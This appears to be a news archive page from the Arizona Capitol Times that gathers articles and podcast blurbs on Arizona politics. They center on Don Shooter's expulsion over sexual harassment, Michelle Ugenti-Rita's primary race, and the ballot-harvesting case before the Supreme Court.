Jeffries argues his 21 months leading the Arizona Department of Economic Security were the best months in the agency’s history. He says the experience and knowledge he gained from leading a state agency would be an asset in the state Senate.

He’s also suing the state to clear his name after he was forced to resign from DES.

In talking to voters, Jeffries gets questions about his time at DES and his departure from the agency. He’s always open to telling voters about how “extraordinary and transformative” his leadership was.

“I am an interesting Google so people are always curious about this, that and the other thing, but I never hesitate to discuss my record of achievement at DES,” he said.

But Dill said having candidates with baggage seeking elected office isn’t unusual.

Voters and the media are simply paying more attention this election year, he said. President Trump has created this environment where the media and voters are watching everything he does. That same behavior trickles down to Arizona’s legislative races, Dill said.

“I think this is part of the Trump effect,” he said. “I think we’re all so on edge and observant of all the shenanigans that are going on.”

The 24/7 news cycle plays a role too, because it perpetuates this kind of news, he said.

Furthermore, candidates like Stringer, Mosley and Gowan have the benefit of living in more rural areas where locals may not keep such close tabs on their legislators or what’s going on at the Capitol, Dill said.

“We err sometimes in thinking that just because something is written in The Arizona Republic that the whole state sees and knows about it and understands it, and that’s not the case,” he said.

The Breakdown, Episode 1: Opening day

 

Gov. Doug Ducey (Photo by Katie Campbell/Arizona Capitol Times)
Gov. Doug Ducey (Photo by Katie Campbell/Arizona Capitol Times)

On the inaugural episode of The Breakdown, our reporters lay out what they’re expecting to see this legislative session.

Familiar battles, especially on topics of education and school choice, are sure to dominate much of the political discourse in Arizona this year. But Gov. Doug Ducey also shared some surprising insights, and he hinted at a surprise involving foster care that will be revealed in his State of the State address.

Our team also addresses one significant holdover from 2017: the investigation into allegations of sexual harassment against Rep. Don. Shooter, R-Yuma.

The Breakdown, Episode 4: Moving on – or trying to

 

Gov. Doug Ducey looks up at the gallery of the Old Capitol where elementary school children watched as he signed the opioid omnibus on Jan. 26. (Photo by Katie Campbell/Arizona Capitol Times)
Gov. Doug Ducey looks up at the gallery of the Old Capitol where elementary school children watched as he signed the opioid omnibus on Jan. 26. (Photo by Katie Campbell/Arizona Capitol Times)

The special legislative session on opioids is over, and now, it’s time to move on.

But that can be easier said than done. As the Capitol holds its collective breath for the report on the investigation into sexual harassment allegations against Rep. Don Shooter, one woman wonders if there is room in the national dialogue for people like her – people who experienced abuse as they served time behind bars.

As for legislators, efforts criminal justice reform is expected to make another appearance this session, and there’s a water bill out there somewhere waiting to be revealed.

Reporter’s note: The officer accused of unlawful sexual conduct with a former prisoner, Kenneth Couture, and mentioned in this episode of The Breakdown did not return requests for comment.

[divider]

Music in this episode included “Man Down” and “Despair and Triumph” by Kevin MacLeod (incompetech.com).

The Breakdown, Episode 5: Expelled

 

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

The Arizona House of Representatives took a historic vote on Thursday to expel one of its members.

Don Shooter of Yuma was not only the first Republican to ever be expelled from the state Legislature but also the first state lawmaker in the United States to be removed in the wake of the Me Too movement.

But some of the women who came forward with allegations of sexual harassment against Shooter and others who work at the Capitol wonder if this moment will have a lasting impact. House Speaker J.D. Mesnard was praised for the difficult decision, yet he who was receptive to an investigation’s findings will not always be in power.

Don’t miss an episode! Point your podcast listening software at this link.

The Breakdown: Session Wrap Edition


 

From top left, Senate President Steve Yarbrough, Gov. Doug Ducey, House Speaker J.D. Mesnard, Senate Minority Leader Katie Hobbs, Red for Ed demonstrators, and House Minority Leader Rebecca Rios (Photos by Katie Campbell/Arizona Capitol Times)
From top left, Senate President Steve Yarbrough, Gov. Doug Ducey, House Speaker J.D. Mesnard, Senate Minority Leader Katie Hobbs, Red for Ed demonstrators, and House Minority Leader Rebecca Rios (Photos by Katie Campbell/Arizona Capitol Times)

A special session, an expulsion and a teacher strike – the 2018 session had it all and so much more.

Our reporters sat down with Gov. Doug Ducey as well as Republican and Democratic leaders in both chambers to reflect on the last five months – and what this session’s events may hold for the future.

With the possible exception of Ducey, who is confident about his chance for a second term as he heads into campaign season, none of these leaders will hold the same seats next year. Senate President Steve Yarbrough is choosing to retire, and the others have their sights set on other offices.

And with the lasting effects of the Red for Ed movement yet to be seen, the upheaval they’ll leave behind them could prove to be significant.

Talk of the incoming “blue wave” is still topping Democratic press releases, and Republican appear wary.

But whatever happens to the political establishment, one thing is certain: The voters are watching, and they’re ready to step in if their elected officials don’t get the job done, especially when it comes to public education.

Don’t forget to subscribe to The Breakdown on iTunes.

[divider]

Music in this episode included “Little Idea,” “Funky Element” and “Energy” by Bensound.

The Breakdown: The awards show no one asked for

 

Kyrsten Sinema and Martha McSally
Kyrsten Sinema and Martha McSally

Expulsions, elections, appointments, oh why?

2018 has been an exciting year from the start. As it comes to a close we’re looking back on some of the standout moments.

What caught our reporters’ attention, and what do those stories mean for the future of Arizona?

We’re doing today’s show Academy Award-style, except the academy is us and the awards don’t mean a damn thing.

Don’t forget to subscribe to The Breakdown on iTunes and Stitcher.

[divider]

Music in this episode included “Creative Minds,” “Funky Element” and “Energy” by Bensound.

Tim Dunn: Invested in farming, barbecue and men’s hairstyling

Rep. Tim Dunn (R-Yuma) (Photo by Paulina Pineda/Arizona Capitol Times)
Rep. Tim Dunn (R-Yuma) (Photo by Paulina Pineda/Arizona Capitol Times)

A third generation farmer, Republican Tim Dunn hopes to bring some of that experience to the Arizona Legislature where he was recently appointed to represent Legislative District 13 in the House of Representatives, succeeding ousted Don Shooter.

Born and raised in Yuma, 52-year-old Dunn said his two weeks at the Capitol have been a whirlwind, learning about the legislative process, being briefed on bills and being appointed to committees that will soon hear Senate bills. However, Dunn said despite his lack of political experience, he’s in tune with the needs of his constituents, not just those in Yuma but across oddly shaped LD13.

Cap Times Q&AAside from farming, you also own several businesses, right?

I have my own farming operation that I own with my wife Eileen. I also own Dunn Grain Co., which my father and I started 22 years ago. My father just retired out of that and my son who is 25 just came into the business and is helping us with that. But since this transition, my dad offered to come back and help take care of some stuff so I’m able to be up here. … The grain company trades durum wheat, primarily, but we do a lot of seed crops and we clean and process those seed crops and export some of them out of the country. Some are for local consumption. … We also bought into the franchise system, Sports Clips, a couple of years ago. We have two in Yuma and then we have two up in the Buckeye and Goodyear area.

LD13 spans two counties. How do you plan to represent the interests of all your constituents?

When you look at it, you think the district is oddly shaped, but then when you get into what actually makes up the district, there’s a lot of commonality. The military is a big thing, Luke Air Force Base, the Yuma Marine Corp Station, the proving ground. … Growth. Yuma has been growing, we have a lot of winter visitors, and so we have a lot of growth, and so is the northern part of the district.

What issues will you be tackling this session?

We’re not putting any bills out because we came in in the middle of the session, but as a business owner, I was just appointed to the Energy and Natural Resources Committee, Land-ag and Transportation, so those are the big three things that affect rural areas.

Water is another issue you’re familiar with.

Timing is everything and it just so happens that we’re right in the middle of (discussing water policy). … It’s a complicated issue, but having had farms in central Arizona, I understand the issue. We know what the farmers are going through and we can take up the discussions and be right in the middle of these discussions and understand them as opposed to having to be educated on it. So the timing is good. We can help negotiate and navigate solutions. They’ve done a good job so far, we’re not quite there yet, but we’re going to help push that forward.

Is it a tough transition from businessman to politician?

You have to have politics in your blood. … Even though I wasn’t in elected office before, I’ve always been interested in what’s right for our citizens and our community, and so you have to have that instinct or that drive to sit through meetings and testify before committees or boards. … I don’t have a problem sitting down with a senator, whoever it is, national level, as long as we’re talking about moving things forward. That’s kind of in my blood. But there’s a lot to learn. It has been like drinking water from a firehose.

How will you spend your time after the session ends?

We’ll be harvesting and working … but we’ll also be setting up our committee work and going out to meet people. We’re committed to run and we’ve already filed our Secretary of State application, the process to start that. It’ll be a busy election cycle. We’ve helped other campaigns in the past, but it’s different when it’s your own. You’re going to have to do more walking the streets.

What’s something most people don’t know about you?

Most people don’t know that I’m a competition barbeque cook. I don’t get to do that as often as I’d like. But the Kansas City Barbeque Society remembers me and I do have my own little competition trailer. I’ve only done a couple, but I have my own recipes and my own little rubs. It’s fun. My team is called BBQs Dunn (As in BBQ’s done–get it).

Another side note that catches people’s eyes, and I mentioned it the other day when I was introduced to someone, is that I met Eileen, my wife, at the Phoenix Open 18 years ago. So we’re one of those that meet at the Open and get married, and I imported her to Yuma. She’s an accountant, CPA by trade, so she does our back office. … She’s originally from Phoenix. Her mother’s up on 32nd and Shea, so we’ve been able to stay at her mother’s. I get breakfast before I leave every morning. It’s kind of like a little bed and breakfast. She’s loving the fact that we’re here.

Townsend to seek Rep. Shooter’s expulsion if he doesn’t resign

A top Arizona House Republican wants Rep. Don Shooter to resign within 24 hours or she’ll seek to expel him from the chamber.

Majority Whip Kelly Townsend, R-Mesa, called for the immediate resignation of Shooter, a Yuma Republican who broke the House sexual harassment policy and whose “repeated pervasive conduct” created a hostile work environment for other representatives, lobbyists and others.

“Please give this House the dignity it deserves and step down,” Townsend said on the House floor Wednesday afternoon.

If Shooter does not resign by Thursday, then Townsend vowed to make a motion to expel him, an act that would take a two-thirds majority vote among the 60 representatives in the House.

Rep. Kelly Townsend (R-Mesa)
Rep. Kelly Townsend (R-Mesa)

“If you read the results of this investigation, it’s very clear that he doesn’t understand the magnitude of his actions. His answers to a lot of these things are very concerning. And to have somebody with that mentality continuing to be around people he could continue to harass is unacceptable. He needs to leave,” she said.

Rep. Michelle Ugenti-Rita, R-Scottsdale, whose initial accusations about Shooter spurred the House’s sexual harassment investigation into his misconduct, told reporters she would support Townsend’s motion.

“This process has been very, very painful to go through. But at the end of the day, on behalf of myself and the other women who came forward, I will be supporting the motion for expulsion if he does not resign,” Ugenti-Rita said.

Shooter, who was not on the floor when Townsend called for his resignation, declined to comment on her statement, but said that he wants the opportunity to address his colleagues before any vote is taken on Thursday.

Townsend said she’ll move forward with the motion even if it’s clear the votes aren’t there to expel Shooter. Doing so would at least send a message that Shooter’s pattern of behavior is unacceptable, Townsend said.

“I hope that the result of this is a statement loud and clear that we will not tolerate this type of behavior,” Townsend said. “If we don’t do that and we allow this to continue, it sets a very dangerous precedent that there are certain things you can get away with, and get a slap on the hand.”

House Speaker J.D. Mesnard, R-Chandler, said Tuesday he’ll call for a formal censure, which requires a majority vote of the House. A censure becomes part of the official House record, he said, a black mark that will follow Shooter for the rest of his career. Mesnard plans to hold the vote on Thursday afternoon.

Townsend said that doesn’t suffice.

“I believe the censure is a slap on the hand. I think that it’s not enough,” she said. “The gentleman is still in the building, and the potential of more of the same type of behavior as is shown in the report, that it is a pattern. If we have an established pattern, that means that it could continue, and I’m not willing to allow that.”

Howie Fischer of Capitol Media Services contributed to this report.

U.S. Supreme Court takes on Arizona ballot harvest law

Supreme Court

Arizonans remain legally barred from taking someone else’s ballot to the polls, at least for this election.

Without comment, the U.S. Supreme Court on Friday agreed to review the decision of a federal appeals court which earlier this year had voided the state’s ban on “ballot harvesting” after concluding that the Republican-controlled legislature enacted the 2016 law with the intent of suppressing minority votes. That law makes it a felony, subject to one year in state prison and a $150,000 fine, to handle anyone else’s already voted ballot.

Judge Amy Coney Barrett, President Donald Trump's nominee to the Supreme Court, meets with Sen. Mike Lee, R-Utah, not pictured, at the Capitol, Tuesday, Sept. 29, 2020 in Washington. (Stefani Reynolds/Pool via AP)
Judge Amy Coney Barrett, President Donald Trump’s nominee to the Supreme Court, meets with Sen. Mike Lee, R-Utah, not pictured, at the Capitol, Tuesday, Sept. 29, 2020 in Washington. (Stefani Reynolds/Pool via AP)

The only exceptions are for family members, others in the same household, caregivers, election workers and the postal service.

Friday’s decision does not necessarily mean the law will be overturned. But it does mean that at least four justices found sufficient merit to arguments by Republican Attorney General Mark Brnovich and the Arizona Republican Party that lawmakers, in enacting the law, had valid concerns about the possibility of fraud.

Friday’s decision also means the justices will review another part of the same 2016 law which says if someone votes in the wrong precinct, all of the votes that person cast are discarded. The appellate court said the state should count the votes that would have been legal had the person been at the right place, such as for a statewide office like governor.

The justices now need to set a date for a hearing, presumably one where Trump’s latest appointee, Amy Coney Barrett, will be sitting on the bench. A ruling may not come until June.

What’s behind the whole practice is the fact that most Arizonans receive early ballots. They can be filled out and mailed back or delivered to polling places.

But state law requires mailed ballots to be delivered no later than 7 p.m. on Election Day. That means anything dropped in a mailbox within a week or so may not get counted.

Political and civic groups have in recent years gone into neighborhoods, asking people if they have returned their ballots and, if not, offering to take the papers to polling places on their behalf. But Republicans, in approving HB 2023 to ban the practice in 2016, argued that presents too many opportunities for mischief.

During the debate, however, supporters of the ban did not cite a single confirmed incident where a ballot was altered or did not get delivered. In fact, then-Rep. J.D. Mesnard, R-Chandler, argued it’s irrelevant whether there is fraud or not.

“What is indisputable is that many people believe it’s happening,” he said. “And I think that matters.”

The state and national Democratic parties sued and a trial judge upheld the law.

But in a divided decision, a majority of the 9th Circuit Court of Appeals concluded that what actually was behind the law was a desire by the GOP majority in the legislature to suppress minority votes. And Justice William Fletcher, a nominee of President Clinton, writing for the majority, said the record shows it had that effect.

He said the change in law cannot be examined solely in a vacuum.

“For over a century, Arizona has repeatedly targeted its American Indian, Hispanic and African-American citizens, limiting or eliminating their ability to vote and to participate in the political process,” Fletcher wrote.

The judge cited extensive testimony at trial about the number of ballots collected and turned in both others. More significant, he said the record from the trial shows that before the law was enacted in 2016, minorities were more likely than non-minorities to get someone else to turn in their ballots.

“The district court found that, in contrast, the Republican Party has not significantly engaged in ballot collect as a Get Out the Vote strategy,” Fletcher said.

“The base of the Republican Party in Arizona is white,” he continued. “Individuals who engaged in ballot collections in past elections observed that voters in predominantly white areas were not as interested in ballot-collect services.”

Mark Brnovich
Mark Brnovich

Brnovich, in his arguments to the high court, said the fact that there were no documented cases of fraud related to ballot harvesting is irrelevant.

“Prohibiting unlimited third-party harvesting is a commonsense means of protecting the secret ballot and preventing undue influence, voter fraud, ballot tampering, and voter intimidation,” he wrote.

And Brnovich rejected the contention that the law is simply an attempt by the Republicans who control the House and Senate, then and now, to get and keep a political edge. He pointed to the 2005 recommendations of the Commission on Federal Elections Reform, co-chaired by former President Jimmy Carter, a Democrat, that said states should prohibit outsiders from handling absentee ballots of others.

“There’s 20 states that have similar measures,” Brnovich said. And then there are the exceptions for family and household members and caregivers.

Brnovich also wants the justices to ignore one thing cited by Fletcher in the ruling: comments by then-Sen. Don Shooter, R-Yuma, who attempted to get colleagues to enact a similar law. That was after he won his 2010 election with just 53% of the vote — receiving 83% of the non-minority vote but only 20% of the Hispanic vote.

Fletcher said Shooter was “in part motivated by a desire to eliminate what had become an effective Democratic GOTV strategy.” And he said that, in finally enacting the laws in 2016, “Republican legislators were motivated by the unfounded and often far-fetched allegations of ballot collection made by former Sen. Shooter.”

Brnovich told the justices all that is irrelevant.

“Each legislator is an independent actor,” the attorney general wrote.

“It has long been settled that what motivates one legislator to make a speech about a statute is not necessarily what motivates scores of others to enact it,” he said. “Anyway, Brnovich said, even if there is a correlation between race and political affiliation — and even if legislators are aware of that — there is no proof that Arizona lawmakers acted with racial motives.

Friday’s decision also is a setback for Secretary of State Katie Hobbs.

In her own legal filings with the Supreme Court, she pointed out that it was the secretary of state’s office that had been sued, years earlier, before she held the office. And Hobbs said that means she, as the current holder of the office, had sole authority to decide whether to appeal the 9th Circuit ruling.

Hobbs said she believes the appellate judges got it right. And she argued, unsuccessfully, that Brnovich cannot maintain a legal action to defend the law.

Ugenti-Rita defends seat against spectrum of detractors

Sen. Michelle Ugenti-Rita, R-Scottsdale, shares a laugh at the Arizona Technology Innovation Summit at The Duce on March 20, 2019. Detractors of the 10-year incumbent include both sides of the abortion divide and fellow Republican lawmakers as she defends her seat against a well-financed primary opponent. (Photo by Gage Skidmore/Flickr)

Bright yellow signs blasting Sen. Michelle Ugenti-Rita as “ethically compromised” litter roads in Scottsdale, where the 10-year incumbent seeks to fend off a primary challenge from a well-funded opponent.

It’s the most intense primary yet for Ugenti-Rita, one of the Senate’s most conservative Republicans, who swept into office in 2010 as a first-time candidate riding a Tea Party wave of activism. From that first race on, Ugenti-Rita has been a maverick unafraid of upsetting her own party — a stance that wins plaudits from constituents when it results in wins like an early repeal of a controversial vehicle license tax, but that also generates conflict at the Capitol, where legislative leaders prize “team players” above all else.

As she seeks to defend her Senate seat, Ugenti-Rita must deal with a social conservative lobby that doesn’t think she takes a sufficiently strong stance against abortion, skeptics of the #MeToo movement angry about Ugenti-Rita’s role in expelling a colleague she said sexually harassed her and voters troubled by sexual harassment allegations against Ugenti-Rita herself.

While rumors that Ugenti-Rita and her husband, former Governor’s Office staffer Brian Townsend, sexually harassed a lobbyist have circulated the Capitol for years and appeared in campaign materials from her 2018 primary opponent, the lobbyist’s sworn court deposition made public earlier this year put those claims in stark, occasionally graphic terms.

Alex Kolodin
Alex Kolodin

Ugenti-Rita’s primary opponent, Scottsdale attorney Alex Kolodin, is all too happy for voters to continue thinking of Ugenti-Rita laying on a bar for body shots and having her now-husband solicit a threesome, as the lobbyist alleged in her deposition. In campaign mailers, social media ads and sly asides during interviews, Kolodin calls out Ugenti-Rita’s “issues with lobbyists” and describes the incumbent as “scandal-plagued.”

“Everybody who is familiar with politics in Scottsdale, the people who are really actively involved, know the backstory and know the scandal,” Kolodin said. “It’s become a known thing among the electorate. I want to be represented by somebody who makes me proud as a constituent, and that’s certainly one of the reasons that I wanted to run.”

Ugenti-Rita has assiduously refused to acknowledge the allegations against her, ignoring questions from reporters and avoiding forums and debates where they could arise. Her Senate colleagues closed ranks around her in February, after the Arizona Capitol Times and other media organizations obtained copies of the court filings.

She is currently embroiled in a defamation lawsuit against former lawmaker Don Shooter, who was expelled from the state House after Ugenti-Rita and several other women complained that he harassed them. And if Kolodin continues discussing sexual harassment allegations leveled at Ugenti-Rita, she may sue him as well, her lawyer said in a letter sent to Kolodin last week.

“I am well aware that the days of civility for most people in political campaigns are well behind us in America, but that does not give you a license to harm Ms. Ugenti-Rita’s reputation with false and defamatory statements about her,” attorney Mark Goldman wrote. “I hope that you will rise above your current obvious inclination to defame Ms. Ugenti-Rita. Do you really want this type or conduct to be part of your political legacy in Arizona?”

Shooter, meanwhile, is invested in making sure Ugenti-Rita loses, and has offered Kolodin campaign advice — though he said Kolodin doesn’t need and hasn’t asked for his help.

“He’s not a stupid man,” Shooter said. “He’s not listening to me.”

Ugenti-Rita still maintains broad support among members of Arizona’s conservative political establishment. One of her seatmates, Republican Rep. Jay Lawrence of Scottsdale, repeatedly refers to himself, Ugenti-Rita, Rep. John Kavanagh of Fountain Hills and Congressman Dave Schweikert as the “LD23 Dream Team.”

Her hard-line stances against tax increases and laser focus on election legislation earn praise from conservatives. More recently, her stalwart opposition to Gov. Doug Ducey’s assumption of power during the COVID-19 pandemic — including drafting legislation to immediately overthrow his state of emergency and protesting attempts to end the legislative session — won admiration from the conservative wing of the party.

And while Kolodin appears on first glance to have outraised Ugenti-Rita in the last two quarters, nearly all of the $135,000 he collected by July 1 comes from loans he gave his campaign. Ugenti-Rita brought in just over $88,000, all of which came from contributions from individuals and political action committees.

Influential Republican groups have split on endorsements in the race, with the Greater Phoenix Chamber of Commerce and the Free Enterprise Club picking Ugenti-Rita and the Center for Arizona Policy siding with Kolodin. The Arizona Chamber of Commerce and Industry endorsed neither.

Following the Center for Arizona Policy’s snub of Ugenti-Rita, freshman Republican Reps. Shawnna Bolick and Walt Blackman announced their own endorsements of Kolodin. Bolick’s teenage son, Ryne, is also managing Kolodin’s campaign.

Their endorsements mark a new area in which Ugenti-Rita has had to go on the defensive: while supporters of abortion rights have long criticized her record, she’s now targeted by abortion rights opponents as being too “pro-choice.”

The main issue the Center for Arizona Policy and Kolodin cited was Ugenti-Rita’s support of the Equal Rights Amendment. Over the past several years, she and two other Republican women, Sens. Heather Carter of Cave Creek and Kate Brophy McGee of Phoenix, have voted for and sponsored resolutions to ratify the constitutional amendment, which guarantees equal rights regardless of sex.

Cathi Herrod
Cathi Herrod

Critics of the amendment portray it as enshrining the right to obtain an abortion in the Constitution, and supporting it earned Ugenti-Rita, Carter and Brophy McGee the ire of the Center for Arizona Policy and its influential leader, Cathi Herrod. Ugenti-Rita and the center also tangled over a CAP-backed bill to provide state funding for centers meant to dissuade women from obtaining abortions, as Ugenti-Rita questioned the need for aspects of the bill.

Blackman said his support for Kolodin stems from his belief that Kolodin will try to outright ban abortion instead of continuing to regulate it, as Republican majorities have done for the past several decades. Arizona still has an abortion ban on the books – it just can’t be enforced because of Roe v Wade.

“We need legislators that are going to fight [for] this cause, and I endorsed him because that’s what he wants to do. He wants to end this epidemic,” Blackman said.

The winner of the August 4 Republican primary will face Democrat Seth Blattman, an ASU graduate and political newcomer who runs his family’s furniture manufacturing company.

Ugenti-Rita names Shooter as man who sexually harassed her

Rep. Don Shooter (R-Yuma)
Rep. Don Shooter (R-Yuma)

Rep. Michelle Ugenti-Rita named Rep. Don Shooter Tuesday as one of the men who harassed her at the Capitol.

She said in an interview with KTVK (Channel 3) political reporter Dennis Welch that Shooter, a 65-year-old Yuma Republican, asked about her chest in her office once and came uninvited to her room with beer at a work conference, where she didn’t answer the door.

Following the revelation and a call for action from House Minority Leader Rebecca Rios, House Speaker J.D. Mesnard announced the House initiated “multiple investigations into reports of sexual harassment at the Legislature.” A bipartisan investigative team will review all allegations and expand the investigation as needed.

“Those of us in government should be held to the highest standard, and any form of harassment will not be tolerated,” he said in the statement sent Wednesday. “I encourage anyone – whether it be legislators, staff, lobbyists or others – with allegations of sexual harassment at the Legislature to work with investigators.”

Gov. Doug Ducey tweeted in support of the decision, but made no direct reference to Shooter.

The Arizona Democratic Party released a statement saying an investigation was not enough – Executive Director Herschel Fink called for Shooter to resign “if he has any dignity left in him.”

Following the revelation, House Minority Leader Rebecca Rios called for an investigation into the allegations against Shooter and others’ experiences with him.

Ugenti-Rita, a Scottsdale Republican, first brought the topic of harassment at the Arizona Capitol to the forefront on Oct. 20 when she said she had been sexually harassed at the statehouse for years since she first took office in 2011.

She also called attention to the lack of policies and procedures to investigate harassment among the elected members of the legislature, which resulted in a new policy.

On Tuesday, Ugenti-Rita detailed an additional encounter in June 2011 where he told her he was in love with her and said he wanted to have a relationship. She wrote a memo about that incident, and said she told Republican leadership, but nothing was done.

“He tells me that he loves me and asks if there’s an opportunity for us to be together in the future,” she read to AZFamily from the June 2011 memo. “Just then, he bursts out, ‘I have been married for 32 years and have never done anything.'”

Ugenti-Rita said she’s worried about retaliation now that she’s named Shooter.

Initially, according to Welch’s report, Shooter issued an apologetic statement and said he “apparently said things that were insensitive and not taken well.”

However, later on Tuesday evening, he retracted that statement, stating he had previously been told only that Ugenti-Rita was upset by comments he made but wasn’t given details.

“I’ve been happily married for 41 years, I’ve never cheated on my wife and there isn’t a woman on this planet I would leave my wife for,” he wrote.

He went on to blame the trouble between him and Ugenti-Rita on “how she has conducted herself personally, with staff and later with legislation,” including “a very public affair.”

“Ms. Ugenti is lying about me, and I have asked Speaker Mesnard to have the entire matter investigated by the House Ethics Committee/Counsel,” he concluded. “At the conclusion of their work, I will consider taking further legal action in this matter.”

On Wednesday morning, Rep. Kelly Townsend, R-Mesa, defended Ugenti-Rita’s accounts of harassment, stating she had personally witnessed her mistreatment by fellow lawmakers.

She had not witnessed such behavior specifically from Shooter, she wrote in her statement, but was concerned by Ugenti-Rita’s accusations. Townsend also made reference to “both unwanted sexual advances by more than one person as well as intimidating behavior and retaliation by another in a position of power in years passed.”

Townsend also called on the House’s new sexual harassment policy to be fortified and codified because “there is no assurance that future leadership would be as proactive.”

Unknown person pays for legal challenge to Shooter’s candidacy

Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix.
Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix.

Attorney Timothy La Sota represented Republican Brent Backus when he filed a legal challenge over ousted lawmaker Don Shooter’s residency.

But Backus didn’t pay for La Sota’s services. And Backus said he doesn’t know who did.

That leaves the question of who wants Shooter, who was expelled from the Arizona House of Representatives in February for sexually harassing women, out of the picture? And who is willing to pay what’s likely thousands of dollars for it?

Candidates may pay election-related legal expenses using campaign contributions. Shooter used campaign funds to pay attorney Tim Nelson $9,500 in the second quarter of 2018 to defend him against Backus’ accusation that Shooter resides in Phoenix, and would therefore be ineligible to run for the state Senate in Legislative District 13, which covers Yuma and parts of the West Valley.

Most of Shooter’s campaign war chest is self-funded — Shooter personally loaned himself $1,900 in the second quarter, while his wife Susan chipped in $28,500 combined over two separate loans.

Had Shooter wanted to, he could have paid for the legal expenses out of his own pocket and never reported it.

Or he could have let someone else pay his legal bills and kept their identity anonymous.

That’s because state law dictates that “payments of a committee’s legal or accounting expenses by any person” are exempt from the definition of a contribution to a candidate, according to state Elections Director Eric Spencer.

For example, lobbyist Gretchen Jacobs kicked in another $2,500 for Nelson’s services via an in-kind contribution to Shooter’s campaign, bringing Shooter’s total legal bill to $12,000. But there’s no law obligating a candidate to report such a legal payment as an in-kind contribution, Spencer said.

“When campaigns pay for and report legal expenses, I’m not sure that is out of a legal obligation to do so,” Spencer said. “It might be more of a political imperative.”

Backus, a Waddell resident, has hardly raised any money for his own campaign. Campaign finance reports list only one contribution — $100 from Waddell resident Duane Reid. Instead, Backus has self-financed his campaign, lending it $10,100 to date.

He hasn’t spent a penny on La Sota, who represented Backus during his initial challenge in Maricopa County Superior Court and an appeal to the Arizona Supreme Court. La Sota declined to comment.

Attorney Joe Kanefield said the matter of who paid for Backus’ attorney falls into a legal gray area — it’s a question that’s never really been resolved by the courts, he added, leaving it unclear whether election-related lawsuits amount to attempts to influence elections in Arizona.

Spencer, too, said that it’s “an open question whether a lawsuit can be deemed the equivalent of express advocacy like a campaign ad, such that it would be considered a contribution.”

In Backus’ case, the courts ruled that Shooter was indeed a Yuma resident as he claimed to be, and that his name could appear on the primary election ballot in August.

Both Shooter and Backus are seeking the Republican nomination for Senate in LD13 against Sen. Sine Kerr, the incumbent Republican from Buckeye.

Voter registration records raise questions about Don Shooter residency

Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

Shortly before launching a campaign from Yuma for his old state Senate seat, ousted lawmaker Don Shooter spent two weeks as a registered voter in Phoenix, reopening old questions about whether he actually lives in the district he represented for more than six years.

Shooter, a Republican who was expelled from the Arizona House of Representatives in February for sexually harassing fellow lawmakers and lobbyists, registered to vote in Maricopa County on April 30 at a home in Phoenix’s Biltmore area.

He’d long been registered to vote in Yuma, most recently at a rental address on South Palo Verde Lane. Documents obtained by the Arizona Capitol Times show that Shooter’s voter registration in Yuma County was cancelled automatically because he moved out of the jurisdiction and changed his driver’s license to reflect a new address.

Shooter declined to comment, “since there may be future legal actions.”

If Shooter were found to reside outside of the district where he’s running, a judge could order that his name be kept off the ballot for the August 28 Republican primary.

Shortly after changing his voter registration to Maricopa County, Shooter said there was no chance he’d run for his old Senate seat in Legislative District 13 this year, which he’d been planning to do prior to his expulsion. On May 9, when asked by the Arizona Capitol Times if he’s running for office this year, Shooter emphatically replied, “Hell no.”

Less than a week later, Shooter changed his voter registration once more, this time back to Yuma. Officials with the Yuma County Recorder’s Office confirmed that Shooter registered to vote there on May 14.

Shooter is seeking a political comeback in LD13, which he represented since 2011, first in the Senate and then the House of Representatives before his expulsion in February.

His fellow representatives voted Shooter out following an investigation into multiple claims of sexual harassment made against the former representative and senator, sparked by accusations from a fellow lawmaker.

Rep. Michelle Ugenti-Rita, R-Scottsdale, first named Shooter as one of the men in the Legislature who had harassed her. After Ugenti-Rita came forward, eight other women told stories of inappropriate, sexually charged comments and unwanted touching, although an independent investigation did not uphold all of the allegations.

The investigation produced a report detailing his repeated violation of a House harassment policy by creating a hostile work environment for female colleagues, other lawmakers, lobbyists and an intern at the Arizona Legislature.

Shooter claims he still has a loyal following in Yuma that wants him back in office.

“If people want me to work and serve, I’ll go serve,” Shooter said May 24.

Shooter’s residency was questioned while he was still in office.

His wife, Susan, owns a home in Phoenix and lists it as her primary address, according to Maricopa County property records. Shooter, meanwhile, listed a rental unit in Yuma as his address while representing LD13, which covers parts of Yuma and Maricopa County, according to KVTK (Channel 3) political reporter Dennis Welch.

Maricopa County property records list the home where Shooter was briefly registered to vote as belonging to him and the Shooter Family Trust. According to property records, Susan Shooter transferred the deed to herself in November in her capacity as a trustee of the Shooter Family Trust. The home is listed as a primary residence.

Shooter and his wife registered to vote in Maricopa County on the same day this year. Both registered as Republicans using the address of the home owned by Susan on North 22nd Street in Phoenix, according to the Maricopa County Recorder’s Office. That address is located in Legislative District 28.

Shooter’s registration was cancelled on May 15, the day after officials in Yuma County confirmed he registered to vote at the Yuma address. Susan is still registered to vote in Maricopa County.

In documents Shooter filed to run for the state Senate on May 30, he listed the rental unit on South Palo Verde Lane in Yuma as his address. He claims to have lived in Yuma County for 38 years, and in LD13 for the same period of time, according to his declaration of qualification as a legislative candidate.

The LD13 Senate seat is currently held by Sen. Sine Kerr, R-Buckeye. Shooter faces Kerr, Brent Backus and Royce Jenkins in the Republican primary.

Shooter is running for office while also preparing a legal challenge against the state. He alleged in a notice of claim filed in April that the speaker of the Arizona House of Representatives and staff members in Gov. Doug Ducey’s office conspired to remove him from office in an effort  to prevent him from uncovering “serious issues of malfeasance in state government contracts.”

Shooter told our reporter via text message that his lawyers “have told me to shut up” for now, but that in about a week or so — Shooter can’t file a lawsuit before June 15 — “you won’t be able to shut me up haha.”

Yuma BOS chooses farmer to fill seat vacated by Don Shooter

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
